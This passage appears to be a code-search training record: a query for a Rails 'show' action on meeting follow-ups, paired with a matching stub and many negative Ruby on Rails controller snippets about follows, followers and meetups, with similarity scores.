"0.58628595", "0.58488595", "0.5848323", "0.58340627", "0.5822615", "0.58218765", "0.5821512", "0.5805021", "0.57990587", "0.5782509", "0.5777919", "0.5770699", "0.57695764" ]
0.0
-1
GET /meeting_follow_ups GET /meeting_follow_ups.json
def index @meeting_follow_ups = MeetingFollowUp.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_meeting_follow_up\n @meeting_follow_up = MeetingFollowUp.find(params[:id])\n end", "def follows\n @follows = @user.follows\n\n respond_to do |format|\n format.html\n format.json { render :json => { :follows => @follows.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def show\n @followup = Followup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @followup }\n end\n end", "def test_get_users_who_follow_user\r\n get \"/users/1/follows.json?type=followers&api_key=testapikey\"\r\n assert_response :success\r\n follows = JSON.parse(response.body)\r\n assert follows.size == 3, 'Incorrect number of followees'\r\n assert follows[0]['id'] == 7\r\n assert follows[0]['follower_id'] == 9\r\n assert follows[1]['id'] == 8\r\n assert follows[1]['follower_id'] == 10\r\n assert follows[2]['id'] == 9\r\n assert follows[2]['follower_id'] == 11\r\n end", "def update\n respond_to do |format|\n if @meeting_follow_up.update(meeting_follow_up_params)\n format.html { redirect_to @meeting_follow_up, notice: 'Meeting follow up was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting_follow_up }\n else\n format.html { render :edit }\n format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity }\n end\n end\n end", "def findFollowees\n @user = User.find(params[:id])\n @followees = @user.followees.all\n render json: @followees, status: :ok\n end", "def show_follows\n \t@user = User.find(params[:id])\n \t\n \trender json: @user.follows\n end", "def followings\n @hot_topics = Topic.hot_topics(5)\n @interviewee = User.where(:nickname => params[:id]).first\n @is_same_user = @interviewee.is_same_user?(@current_user)\n \n @followings = @interviewee.followings\n end", "def show_follows\n\t@user = User.find(params[:id])\n\n\trender json: @user.follows\n\tend", "def my_follows\n follows = paginate Follow.where(follower_id: params[:user_id])\n\n render json: follows.to_json(:include => :following)\n end", "def show\n user = Api::V1::User.find(params[:id])\n unless user.nil?\n render json: user.followings.all\n end\n end", "def show\n user = Api::V1::User.find(params[:id])\n unless user.nil?\n render json: user.followings.all\n end\n end", "def all_followships\n followships = User.find(params[:user_id]).followships\n render :json => followships\n end", "def show\n @followup_interview = FollowupInterview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @followup_interview }\n end\n end", "def test_start_following_a_user\r\n post \"/follows.json?api_key=bobbyapikey&followee_id=3\" \r\n assert_response :created\r\n follow = JSON.parse(response.body) \r\n assert follow['follower_id'] == 6\r\n assert follow['followee_id'] == 3\r\n end", "def follower\n @users = User.find(params[:id]).followers\n render json: @users\n end", "def new\n @followup = Followup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @followup }\n end\n end", "def index\n head 404\n # @api_v1_followings = Api::V1::Following.all\n\n # render json: @api_v1_followings\n end", "def get_followees\n HTTParty.post(\"#{@api_path}/users/followees/#{@handle}/#{@password}\")\n end", "def new\n @meetup = Meetup.new\n @recipient = User.find_by_id(params[:recipient_id])\n \n @recipient_meetups = []\n @recipient.upcoming_meetups.each do |m|\n @recipient_meetups.push({:title=> @recipient.name, :start=> m.date.strftime('%m-%d-%Y %H:%M:%S'), :end=> (m.date + 1.hour).strftime('%m-%d-%Y %H:%M:%S'), :allDay=> false})\n end\n \n @my_meetups = []\n current_user.upcoming_meetups.each do |m|\n @my_meetups.push({:title=> current_user.name, :start=> m.date.strftime('%m-%d-%Y %H:%M:%S'), :end=> (m.date + 1.hour).strftime('%m-%d-%Y %H:%M:%S'), :allDay=> false})\n end\n\n gon.recipient = @recipient\n gon.me = current_user\n gon.recipient_meetups = @recipient_meetups\n gon.my_meetups = @my_meetups\n \n @current_user = current_user\n @prev_meetup_id = params[:prev_meetup_id]\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def follow\n user = User.find(params[:user_id])\n @follow = current_user.follow(user)\n render json: @follow\n end", "def following\n\t#@friendships = Friendship.find(:all, :conditions => {:follower_id => params[:profile_id]})\n\trespond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => requested_profile.followees.to_xml }\n end\n end", "def index\n @followships = Follower.all\n render json: @followships\n end", "def show\n \n @meetup = Meetup.find(params[:id])\n render json: {\n meetup: MeetupSerializer.new(@meetup)\n }\n end", "def fetch\n follows = Follow.where(follower_id: params[:user_id])\n paginate json: follows.to_json(:include => :following)\n end", "def follow\n @data = {:user_id => params[:follow_user_id], :follow_user_id => current_user.id, :followed => 1}\n status = UserFollower.follow(@data)\n render json: {:status => status}\n end", "def following\n @users = User.find(params[:id]).all_following\n render json: @users\n end", "def followers\n @followers = @user.followers\n\n respond_to do |format|\n format.html\n format.json { render :json => { :followers => @followers.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def followings\n @followings = @other_user.followings.paginate(:page => params[:page], :per_page => 20)\n end", "def destroy\n @meeting_follow_up.destroy\n respond_to do |format|\n format.html { redirect_to meeting_follow_ups_url, notice: 'Meeting follow up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def following\n\t\tauthenticate_current_user\n\t\t# grab all the current user's following\n\t\tfollowing = UserFollower.where(user_follower_id: current_user.id)\n\t\t# create an empty array\n\t\tfollowing_group = []\n\t\t# rotate through each following returned, and grab the user object\n\t\tfollowing.each do |x|\n\t\t\t# push each following user object into array\n\t\t\tfollowing_group.push(User.find(x.user_id))\n\t\tend\n\t\t# respond with the array of following user objects\n\t\trespond_with following_group\n\n\tend", "def followees\n @user = User.find(session[:user_id])\n @followees = @user.followees \n render 'followees'\n end", "def followees\n @user = User.find params[:id]\n @users = @user.followees.page params[:page]\n @title = 'Following'\n render 'followship'\n end", "def follow\n current_profile.follow_profile(@profile)\n respond_to do |format|\n format.html { redirect_to profile_home_path(@profile.site_identifier) }\n format.json { head :no_content }\n end\n end", "def check_request\n follow = Follow.where(following_id: params[:following_id], follower_id: params[:user_id]).first\n if follow.present?\n render json: {follow: follow, status: 'followed'}\n else\n render json: { status: 'none'}\n end\n end", "def create\n @meeting_follow_up = MeetingFollowUp.new(meeting_follow_up_params)\n respond_to do |format|\n if @meeting_follow_up.save\n format.html { redirect_to meeting_follow_up_record_employee_plans_path(plan_id: params[:meeting_follow_up][:employee_plan_id]), notice: 'Meeting follow up was successfully created.' }\n format.json { render :show, status: :created, location: @meeting_follow_up }\n else\n format.html { render :new }\n format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity }\n end\n end\n end", "def follows\n group = Group.find_by(id: params[:id])\n\n render json: group, status: :ok, serializer: GroupFollowsSerializer\n end", "def follow\n current_user.follow_user(@user)\n render json: {ok: 1}\n end", "def show\n @meetup_profile = MeetupProfile.find(params[:id])\n @meetup=Meetup.new\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meetup_profile }\n end\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def show_followers\n \t@user = User.find(params[:id])\n \t\n \trender json: @user.followed_by\n end", "def following\n @title = 'Following'\n @users = @user.following.page(params[:page])\n render 'show_follow'\n end", "def show\n @follower = Follower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @follower }\n end\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @usersList = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def fetch_user_and_followings\n @user = User.find(params[:followee_id])\n @follow = Follow.find_by(follower_id: current_user.id, followee_id: params[:followee_id])\n end", "def followings\n @followees = @user.followees.order(created_at: :desc) # order the followings(the people that current_user follows) according to when they were followed by current_user, with the most recent following at the top.\n end", "def index\n\n if params[:meeting_id]\n @meeting = Meeting.find(params[:meeting_id])\n end\n\n respond_to do |f|\n f.json {\n @meetings = Meeting\n start_p = Time.parse(params[:start])\n end_p = Time.parse(params[:end])\n @meetings = @meetings.where(\"start_at > ?\", params[:start])\n if start_p and end_p\n duration = end_p - start_p\n @meetings = @meetings.where(\"duration < ?\", duration)\n end\n\n render :json => @meetings.map{|m|\n {\n :id => m.id,\n :title => m.label,\n :start => m.start_at,\n :end => m.end_at,\n :url => \"/reunions/#{m.id}.js\",\n color: '#D42700',\n textColor: 'white'\n }\n }\n }\n f.html\n end\n end", "def show_followers\n\t@user = User.find(params[:id])\n\t\n\trender json: @user.followed_by\n\tend", "def following\n @title = \"Following\"\n @user=User.find(params[:id])\n @other_users=@user.following.paginate(:page=>params[:page], :per_page => 30)\n respond_to do |format|\n format.html { render 'show_follow' }\n format.json { render json: @other_users }\n end\n end", "def set_followup\n @followup = Followup.find(params[:id])\n end", "def follow\r\n @relationship = Relationship.create(follower_id: current_user.id, followed_id: params[:followed_id])\r\n @relationship.create_activity key: 'relationship.follow', owner: current_user, recipient: User.find(params[:followed_id])\r\n\r\n if @relationship.save\r\n render json: @relationship\r\n else\r\n render json: { error: \"Relationship creating error\" }, status: :unprocessable_entity\r\n end\r\n end", "def following\r\n @title = \"Following\"\r\n @user = User.find(params[:id])\r\n @users = @user.followed_users.paginate(page: params[:page], per_page: 25)\r\n render 'show_follow'\r\n end", "def follow_list(options)\n session.options = adapt_to_dev_env(options)\n session.get('/follows')\n end", "def meeting_follow_up_params\n params.require(:meeting_follow_up).permit(:employee_plan_id, :contact_person, :contact_no, :follow_up_response, :date, :time, :next_date, :next_time)\n end", "def all_following_posts\n render :json => User.find(params[:user_id]).following_posts\n end", "def new\n @meeting = Meeting.new\n @all = User.all\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meeting }\n end\n end", "def index\n @followings = Following.active.all(\n :conditions => {:follower_id => self.current_user.id})\n rescue => ex\n handle_exception(ex)\n ensure\n respond_to do |format|\n format.json \n end\n end", "def get_meetings\n prepare\n @api.get_meetings\n end", "def create\n @followup = Followup.new(params[:followup])\n\n respond_to do |format|\n if @followup.save\n format.html { redirect_to @followup, notice: 'Followup was successfully created.' }\n format.json { render json: @followup, status: :created, location: @followup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @followup.errors, status: :unprocessable_entity }\n end\n end\n end", "def following\n\t@title = \"Following\"\n\t@user = User.find(params[:id])\n\t@users = @user.following.paginate(page: params[:page])\n\trender 'show_follow'\n end", "def followers\n @person = Person.find(params[:id]) \n @project = Project.find(params[:project_id])\n @persons = @person.get_all_followers\n \n respond_to do |format|\n format.html # followers.html.erb\n format.xml { render :xml => @persons }\n end\n \n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.following.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.following.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = 'Following'\n @user = User.find(params[:id])\n @users = @user.following.paginate(page: params[:page])\n render 'show_follow'\n end", "def show\n @twitter_user = TwitterUser.find(params[:id])\n @follower_ids = Twitter.follower_ids(@twitter_user.twitter_username).collection\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @twitter_user }\n end\n end", "def show\n @follow = Follow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @follow }\n end\n end", "def show\n @follow = Follow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @follow }\n end\n end", "def following\n @title = \"Following\"\n @professional = professional.find(params[:id])\n @professionals = @professional.followed_professionals.paginate(page: params[:page])\n render 'show_follow'\n end", "def followed\n\t\t@user = User.find(params[:id])\n\t\tcurrent_user.create_rel(\"FOLLOWING\", @user) \n\t\tif request.xhr?\n\t\t\trender json: { count: @user.following.count, id: @user.id }\n\t\telse\n\t\t\tredirect_to @user\n\t\tend\n\n\tend", "def create\n\t\t@owner = Prover.find(params[:owner])\n\t\t@owner.follow(Prover.find(params[:follows]))\n\n\t\trespond_to do |format|\n\t\t\tif @owner.follow(Prover.find(params[:follows]))\n\t\t\t\tformat.html { render :json => {prover_id: @owner.id, following_id: params[:follows]}.to_json }\n\t\t\telse\n\t\t\t\tformat.html { render :json => {it: \"BROKE\"}.to_json, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def all_following_users\n users = Topic.find(params[:topic_id]).following_users\n render :json => users\n end", "def index\n @meetings = Meeting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meetings }\n end\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.following.paginate(:page => params[:page])\n render 'show_follow'\n end", "def new\n @follower = Follower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follower }\n end\n end", "def following\n @relations = @user.following.paginate(page: params[:page], per_page: 10)\n respond_to do |format|\n format.html\n format.amp\n format.json\n format.js\n end\n end", "def followers\n begin\n @followers = current_user.twitter.get(\"/statuses/followers?page=#{params[:page] || 1}\")\n rescue TwitterAuth::Dispatcher::Error\n @followers = []\n end\n\n status = @followers.empty? ? 404 : 200\n\n respond_to do |format|\n format.html { render(:action => 'followers', :status => status) }\n format.json { render(:json => @followers.to_json, :status => status) }\n end\n end", "def show\n @user = User.find_by_username(params[:id])\n \n #Array to save all of the follow information\n @following_users = Array.new\n \n #Extracting the follow_ids out of this array\n @user.follows.each do |i|\n @following_users.push i.follow_id\n end\n \n #getting the users whose follow id is the same as the follow_id\n @followed_users = User.find_all_by_id(@following_users)\n\n #Array of Followers\n @followers = Array.new\n \n #Extracting the follow_ids out of the reverse_followers array\n @user.reverse_follows.each do |i|\n @followers.push i.follow_id\n end\n \n @shouts = Shout.order('created_at desc').paginate(:page => params[:page], :per_page => 4)\n\n if current_user\n \t@already_following = false\n \tcurrent_user.follows.each do |follow|\n \t\tif follow.follow == @user\n \t\t\t@already_following = true\n \t\t\tbreak\n \t\tend\n \tend\n \t\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def following\n data['plans'][me]['following']\n end", "def follows\n @follows ||= refresh_follows\n end", "def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end", "def show\n @users_meeting = UsersMeeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_meeting }\n end\n end", "def add_follows\n \t@follower = User.find(params[:id])\n \t@followed = User.find(params[:follows_id])\n \t\n \tif @follower.follows << @followed\n \t\t\n \telse\n \t\trender json @follower.errors\n \tend\n end", "def pending_meets \n assert_internal_error(@user)\n @pending_meets = @user.true_pending_meets\n respond_to do |format|\n format.html {\n # redirect back to user meets view if no more pending meets\n if @pending_meets.empty?\n redirect_back user_meets_path(@user)\n else\n @pending_meets = @pending_meets.paginate(:page => params[:page], :per_page => 25)\n attach_meet_infos(current_user, @pending_meets, true)\n end\n }\n format.json {\n cursor = params[:cursor] || params\n @pending_meets = @pending_meets.cursorize(cursor,\n :only=>[:time, :created_at, :updated_at, :lat, :lng])\n attach_meet_infos(current_user, @pending_meets, true)\n @pending_meets.each {|meet|\n meet.friends_name_list_params = {:except=>current_user,:delimiter=>\", \",:max_length=>80}\n }\n render :json => @pending_meets.to_json(MeetsController::JSON_PENDING_MEET_LIST_API)\n }\n end\n end", "def people\n @people = @user.followings\n respond_to do |format|\n format.js \n end \n end", "def add_follows\n\t#params[:id] is user who follows \n\t#params[:follows_id] is user to be followed\n\t\n\t#make follower\n\t@follower = User.find(params[:id])\n\t\n\t#make followed\n\t@followed = User.find(params[:follows_id])\n\t\n\tif \n\t\t@follower.follows << @followed\n\t\thead :no_content\n\telse\n\t\trender json: @follower.errors, status: :unprocessable_entity\n\tend\nend", "def create\n head 404\n # @api_v1_following = Api::V1::Following.new(api_v1_following_params)\n # @api_v1_follower.following_id = @current_user.id\n\n # if @api_v1_following.save\n # render json: @api_v1_following, status: :created, location: @api_v1_following\n # else\n # render json: @api_v1_following.errors, status: :unprocessable_entity\n # end\n end", "def update\n respond_to do |format|\n if @followup.update(followup_params)\n format.html { redirect_to @job, notice: 'Follow Up was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n end\n end\n end", "def follow(user)\n\tout_followings.create(to_id: user.id)\nend", "def following_event\n @user = User.find(params[:id])\n @events = @user.following_event.paginate(page: params[:page])\n render 'client_pages/following'\n \tend", "def create\n entry_time = DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n follows = Follow.where(\"user_id = ? and game_id = ? and follow_user_id = ?\", params[:follow][:user_id], params[:follow][:game_id], params[:follow][:follow_user_id])\n \n if follows[0].blank? then\n @follow = Follow.new(create_follow_params)\n @follow.created_at = entry_time\n @follow.updated_at = entry_time\n \n @follower = Follower.new\n @follower.user_id = @follow.follow_user_id\n @follower.game_id = @follow.game_id\n @follower.follower_user_id = @follow.user_id\n @follower.created_at = entry_time\n @follower.updated_at = entry_time\n\n else\n @follow = follows[0]\n @follow.updated_at = entry_time\n @follow.delete_flag = false\n\n followers = Follower.where(\"user_id = ? and game_id = ? and follower_user_id = ?\", params[:follow][:follow_user_id], params[:follow][:game_id], params[:follow][:user_id])\n @follower = followers[0]\n @follower.updated_at = entry_time\n @follower.delete_flag = false\n\n end\n\n respond_to do |format|\n if @follow.save\n @follower.save\n \n follow_user = User.find(@follow.follow_user_id)\n @ret = {\n :ret => 1,\n :user => follow_user\n }\n\n format.html { redirect_to @follow, notice: 'Follow was successfully created.' }\n #format.json { render :show, status: :created, location: @follow }\n format.json { render :show, location: @ret }\n else\n format.html { render :new }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def follow\n if request.post?\n fo_ids = params[:follow] \n #fo_str = \"\"\n #fo_cnt = fo_ids.length - 1\n #for i in 0..fo_cnt\n # fo_str +=fo_ids[i].to_s\n # fo_str += \",\" unless fo_cnt == i\n #end\n \n fo_ids.each do |fid|\n hydra = Typhoeus::Hydra.new\n uri = \"http://api.twitter.com/1/friendships/create.json\"\n req = Typhoeus::Request.new(uri,\n :method =>\"post\",\n :params =>{:user_id=>fid, :include_entities=>\"true\"})\n \n sign_request(req,uri)\n hydra.queue(req)\n hydra.run\n #puts req.response.inspect\n end\n end\n redirect_to :action=>\"index\", :page=>\"1\" \n end", "def followed_events\n @followed = Follower.all.where(:customer_id => params[:customer_id])\n @followed_events=Array.new\n @eventos_nous=Array.new\n @followed.each do |f|\n @followed_events = Evento.all.where(:id_creator => f.company_id)\n @followed_events.each do |e|\n @eventos_nous << e.formatted_data.as_json()\n end\n end\n render json: @eventos_nous\n end", "def show\n @group = Group.find(params[:id])\n @meetups = Meetup.where(\"group_id = ?\", @group.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "def show\n @meetup = Meetup.find_by(id: params[:id])\n end", "def new\n @follow = Follow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follow }\n end\n end", "def new\n @follow = Follow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follow }\n end\n end", "def following_info\n following = []\n self.following.each do |follower|\n following << follower.attributes.merge(avatar: follower.avatar.url)\n end\n response = {\n message: \"Successfully fetch #{ self.username } following\",\n relations: following\n }\n end" ]
[ "0.7167343", "0.6800076", "0.65426886", "0.6451123", "0.64492124", "0.6442069", "0.6425024", "0.6414452", "0.63749695", "0.6348674", "0.63486063", "0.63486063", "0.63213414", "0.6321218", "0.63194114", "0.63147223", "0.6311293", "0.6299652", "0.6295459", "0.6282238", "0.6223207", "0.62224495", "0.6212321", "0.62015533", "0.6169678", "0.61578393", "0.61550057", "0.6150984", "0.6137725", "0.6109815", "0.60939765", "0.6085911", "0.6078733", "0.6073207", "0.6071359", "0.6066901", "0.60397846", "0.6036715", "0.6027764", "0.60175115", "0.60171753", "0.60171753", "0.60171753", "0.6011312", "0.6002448", "0.6001885", "0.59938705", "0.5991238", "0.5987759", "0.5986775", "0.5983216", "0.59634805", "0.59325683", "0.59259367", "0.59254086", "0.59139055", "0.59134716", "0.5905298", "0.59047663", "0.590377", "0.5898152", "0.58962727", "0.5895047", "0.58895874", "0.5885598", "0.5885598", "0.588285", "0.58753085", "0.58724874", "0.58724874", "0.5868845", "0.58562624", "0.58523124", "0.5843606", "0.5843559", "0.5838829", "0.58376926", "0.58326304", "0.5827651", "0.5821918", "0.5810076", "0.5808227", "0.58023053", "0.57965326", "0.57885814", "0.57870394", "0.5780397", "0.57791364", "0.57640326", "0.5762618", "0.57624626", "0.5754872", "0.57547885", "0.5754362", "0.57502264", "0.5748266", "0.5745164", "0.5743191", "0.5743191", "0.5741311" ]
0.76104784
0
GET /meeting_follow_ups/1 GET /meeting_follow_ups/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @meeting_follow_ups = MeetingFollowUp.all\n end", "def set_meeting_follow_up\n @meeting_follow_up = MeetingFollowUp.find(params[:id])\n end", "def show\n @followup = Followup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @followup }\n end\n end", "def show\n @followup_interview = FollowupInterview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @followup_interview }\n end\n end", "def follows\n @follows = @user.follows\n\n respond_to do |format|\n format.html\n format.json { render :json => { :follows => @follows.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def new\n @followup = Followup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @followup }\n end\n end", "def show_follows\n \t@user = User.find(params[:id])\n \t\n \trender json: @user.follows\n end", "def test_get_users_who_follow_user\r\n get \"/users/1/follows.json?type=followers&api_key=testapikey\"\r\n assert_response :success\r\n follows = JSON.parse(response.body)\r\n assert follows.size == 3, 'Incorrect number of followees'\r\n assert follows[0]['id'] == 7\r\n assert follows[0]['follower_id'] == 9\r\n assert follows[1]['id'] == 8\r\n assert follows[1]['follower_id'] == 10\r\n assert follows[2]['id'] == 9\r\n assert follows[2]['follower_id'] == 11\r\n end", "def update\n respond_to do |format|\n if @meeting_follow_up.update(meeting_follow_up_params)\n format.html { redirect_to @meeting_follow_up, notice: 'Meeting follow up was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting_follow_up }\n else\n format.html { render :edit }\n format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity }\n end\n end\n end", "def show_follows\n\t@user = User.find(params[:id])\n\n\trender json: @user.follows\n\tend", "def test_start_following_a_user\r\n post \"/follows.json?api_key=bobbyapikey&followee_id=3\" \r\n assert_response :created\r\n follow = JSON.parse(response.body) \r\n assert follow['follower_id'] == 6\r\n assert follow['followee_id'] == 3\r\n end", "def show\n \n @meetup = Meetup.find(params[:id])\n render json: {\n meetup: MeetupSerializer.new(@meetup)\n }\n end", "def index\n head 404\n # @api_v1_followings = Api::V1::Following.all\n\n # render json: @api_v1_followings\n end", "def show\n user = Api::V1::User.find(params[:id])\n unless user.nil?\n render json: user.followings.all\n end\n end", "def show\n user = Api::V1::User.find(params[:id])\n unless user.nil?\n render json: user.followings.all\n end\n end", "def findFollowees\n @user = User.find(params[:id])\n @followees = @user.followees.all\n render json: @followees, status: :ok\n end", "def follow\n user = User.find(params[:user_id])\n @follow = current_user.follow(user)\n render json: @follow\n end", "def show\n @follower = Follower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @follower }\n end\n end", "def followings\n @hot_topics = Topic.hot_topics(5)\n @interviewee = User.where(:nickname => params[:id]).first\n @is_same_user = @interviewee.is_same_user?(@current_user)\n \n @followings = @interviewee.followings\n end", "def follow\n @data = {:user_id => params[:follow_user_id], :follow_user_id => current_user.id, :followed => 1}\n status = UserFollower.follow(@data)\n render json: {:status => status}\n end", "def follower\n @users = User.find(params[:id]).followers\n render json: @users\n end", "def my_follows\n follows = paginate Follow.where(follower_id: params[:user_id])\n\n render json: follows.to_json(:include => :following)\n end", "def show\n @meetup_profile = MeetupProfile.find(params[:id])\n @meetup=Meetup.new\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meetup_profile }\n end\n end", "def show\n @follow = Follow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @follow }\n end\n end", "def show\n @follow = Follow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @follow }\n end\n end", "def new\n @meetup = Meetup.new\n @recipient = User.find_by_id(params[:recipient_id])\n \n @recipient_meetups = []\n @recipient.upcoming_meetups.each do |m|\n @recipient_meetups.push({:title=> @recipient.name, :start=> m.date.strftime('%m-%d-%Y %H:%M:%S'), :end=> (m.date + 1.hour).strftime('%m-%d-%Y %H:%M:%S'), :allDay=> false})\n end\n \n @my_meetups = []\n current_user.upcoming_meetups.each do |m|\n @my_meetups.push({:title=> current_user.name, :start=> m.date.strftime('%m-%d-%Y %H:%M:%S'), :end=> (m.date + 1.hour).strftime('%m-%d-%Y %H:%M:%S'), :allDay=> false})\n end\n\n gon.recipient = @recipient\n gon.me = current_user\n gon.recipient_meetups = @recipient_meetups\n gon.my_meetups = @my_meetups\n \n @current_user = current_user\n @prev_meetup_id = params[:prev_meetup_id]\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def following\n\t#@friendships = Friendship.find(:all, :conditions => {:follower_id => params[:profile_id]})\n\trespond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => requested_profile.followees.to_xml }\n end\n end", "def index\n @followships = Follower.all\n render json: @followships\n end", "def check_request\n follow = Follow.where(following_id: params[:following_id], follower_id: params[:user_id]).first\n if follow.present?\n render json: {follow: follow, status: 'followed'}\n else\n render json: { status: 'none'}\n end\n end", "def all_followships\n followships = User.find(params[:user_id]).followships\n render :json => followships\n end", "def create\n @meeting_follow_up = MeetingFollowUp.new(meeting_follow_up_params)\n respond_to do |format|\n if @meeting_follow_up.save\n format.html { redirect_to meeting_follow_up_record_employee_plans_path(plan_id: params[:meeting_follow_up][:employee_plan_id]), notice: 'Meeting follow up was successfully created.' }\n format.json { render :show, status: :created, location: @meeting_follow_up }\n else\n format.html { render :new }\n format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @follower = Follower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follower }\n end\n end", "def destroy\n @meeting_follow_up.destroy\n respond_to do |format|\n format.html { redirect_to meeting_follow_ups_url, notice: 'Meeting follow up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def new\n @follow = Follow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follow }\n end\n end", "def new\n @follow = Follow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follow }\n end\n end", "def set_followup\n @followup = Followup.find(params[:id])\n end", "def fetch\n follows = Follow.where(follower_id: params[:user_id])\n paginate json: follows.to_json(:include => :following)\n end", "def follow\r\n @relationship = Relationship.create(follower_id: current_user.id, followed_id: params[:followed_id])\r\n @relationship.create_activity key: 'relationship.follow', owner: current_user, recipient: User.find(params[:followed_id])\r\n\r\n if @relationship.save\r\n render json: @relationship\r\n else\r\n render json: { error: \"Relationship creating error\" }, status: :unprocessable_entity\r\n end\r\n end", "def follow\n current_profile.follow_profile(@profile)\n respond_to do |format|\n format.html { redirect_to profile_home_path(@profile.site_identifier) }\n format.json { head :no_content }\n end\n end", "def follow\n current_user.follow_user(@user)\n render json: {ok: 1}\n end", "def get_followees\n HTTParty.post(\"#{@api_path}/users/followees/#{@handle}/#{@password}\")\n end", "def show_followers\n \t@user = User.find(params[:id])\n \t\n \trender json: @user.followed_by\n end", "def followers\n @followers = @user.followers\n\n respond_to do |format|\n format.html\n format.json { render :json => { :followers => @followers.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def follows\n group = Group.find_by(id: params[:id])\n\n render json: group, status: :ok, serializer: GroupFollowsSerializer\n end", "def new\n @meeting = Meeting.new\n @all = User.all\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meeting }\n end\n end", "def show\n @twitter_user = TwitterUser.find(params[:id])\n @follower_ids = Twitter.follower_ids(@twitter_user.twitter_username).collection\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @twitter_user }\n end\n end", "def create\n entry_time = DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n follows = Follow.where(\"user_id = ? and game_id = ? and follow_user_id = ?\", params[:follow][:user_id], params[:follow][:game_id], params[:follow][:follow_user_id])\n \n if follows[0].blank? then\n @follow = Follow.new(create_follow_params)\n @follow.created_at = entry_time\n @follow.updated_at = entry_time\n \n @follower = Follower.new\n @follower.user_id = @follow.follow_user_id\n @follower.game_id = @follow.game_id\n @follower.follower_user_id = @follow.user_id\n @follower.created_at = entry_time\n @follower.updated_at = entry_time\n\n else\n @follow = follows[0]\n @follow.updated_at = entry_time\n @follow.delete_flag = false\n\n followers = Follower.where(\"user_id = ? and game_id = ? and follower_user_id = ?\", params[:follow][:follow_user_id], params[:follow][:game_id], params[:follow][:user_id])\n @follower = followers[0]\n @follower.updated_at = entry_time\n @follower.delete_flag = false\n\n end\n\n respond_to do |format|\n if @follow.save\n @follower.save\n \n follow_user = 